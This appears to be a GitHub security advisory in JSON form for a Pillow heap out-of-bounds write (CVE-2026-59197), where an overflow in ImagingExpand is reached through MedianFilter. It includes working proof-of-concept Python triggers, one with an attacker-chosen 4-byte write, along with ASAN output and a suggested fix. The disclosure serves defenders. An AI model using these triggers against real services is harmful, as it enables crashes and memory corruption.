{ "schema_version": "1.4.0", "id": "GHSA-xj96-63gp-2gmr", "modified": "2026-07-20T23:08:58Z", "published": "2026-07-20T23:08:58Z", "aliases": [ "CVE-2026-59197" ], "summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`", "details": "### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n def filter(self, image):\n if image.mode == \"P\":\n msg = \"cannot filter palette images\"\n raise ValueError(msg)\n image = image.expand(self.size // 2, self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin < 0 && ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x < xmargin; x++) {\n imOut->image[yout][x] = imIn->image[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size & 1)) {\n return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {\n return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin < 0 || ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin > (INT_MAX - imIn->xsize) / 2 ||\n ymargin > (INT_MAX - imIn->ysize) / 2) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "affected": [ { "package": { "ecosystem": "PyPI", "name": "Pillow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "12.3.0" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197" }, { "type": "WEB", "url": "https://github.com/python-pillow/Pillow/pull/9695" }, { "type": "WEB", "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1" }, { "type": "PACKAGE", "url": "https://github.com/python-pillow/Pillow" }, { "type": "WEB", "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0" } ], "database_specific": { "cwe_ids": [ "CWE-190" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-07-20T23:08:58Z", "nvd_published_at": "2026-07-14T17:17:14Z" } }